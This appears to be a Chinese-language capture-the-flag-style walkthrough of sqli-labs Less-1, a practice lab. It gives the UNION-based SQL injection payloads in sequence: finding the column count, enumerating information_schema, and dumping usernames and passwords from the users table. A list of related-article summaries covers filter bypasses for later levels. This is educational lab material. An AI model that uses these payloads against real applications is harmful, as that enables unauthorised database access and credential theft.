sqli-labs第一关

简介: sqli-labs第一关

1、提示我们需要传递一个id的参数

?id=1

2、判断是什么类型的注入(字符or整形)结果:存在字符型注入

?id=1'

?id=1' --+

3、使用联合查询,查看有几列。结果:有3列

?id=1 ' order by 4 --+  

4、查看这3列中哪几列会在页面显示 (由于写入id=整形数值,会出现先对应的name和password,所以这里我们构造id=字符)结果:第2,3列会显示在页面是上

?id=a' union select 1,2,3 --+

5、接着查询数据库名

?id=a' union select 1,2,database()--+

6、 接着是查询该库中的表名,可能有多张表,这里有4张表,我们猜测重要数据会在users表中


?id=a' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

7、接着查询users 表中的字段,得到了表中的字段,可以看到username,password里面的信息可能是我们想要的

?id=a' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

8、查询users表中字段里面的信息(在这里加上id是为更好的分隔开用户名和密码),最终我们拿到了用户名和密码

?id=a' union select 1,2,group_concat(username,id,password) from users--+

相关文章
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
259 0
SQLi LABS Less-26
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
166 0
SQLi LABS Less-21
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
106 0
SQLi LABS Less-22
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
172 0
SQLi LABS Less-19
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
148 0
SQLi LABS Less-23
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
210 0
SQLi LABS Less-29
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
221 0
SQLi LABS Less-25a
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
331 0
SQLi LABS Less-27
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
178 0
SQLi LABS Less-27a
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
145 0
SQLi LABS Less-16